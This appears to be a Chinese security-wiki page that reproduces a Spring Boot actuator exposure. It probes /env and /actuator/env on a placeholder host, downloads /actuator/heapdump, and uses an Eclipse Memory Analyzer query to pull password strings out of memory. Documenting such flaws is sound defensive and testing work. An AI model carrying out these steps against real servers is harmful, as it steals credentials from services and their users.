Spring_Boot_提取内存密码

# Spring Boot 提取内存密码

========================

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

> 访问如下路径如果有数据说明存在漏洞

**Spring Boot 1.x版本**`http://www.0-sec.org:8090/env`

**Spring Boot 2.x版本**`http://www.0-sec.org:8090/actuator/env`![2.png](/static/qingy/Spring_Boot_提取内存密码/img/rId24.png)

> 当发现存在未授权漏洞时,可以直接访问 `/actuator/heapdump`
> 下载内存,提取密码

`http://www.0-sec.org:8090/actuator/heapdump`

> heapdump文件下载完成之后可以利用Eclipse Memory Analyzer 来解析内存文件

http://www.eclipse.org/mat/downloads.php

> 匹配内存中password字符串,并不一定能匹配完,可以通过`/actuator/env`得到的`JDBC`信息再来匹配关键字

`select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains(“password”))`

![1.png](/static/qingy/Spring_Boot_提取内存密码/img/rId25.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容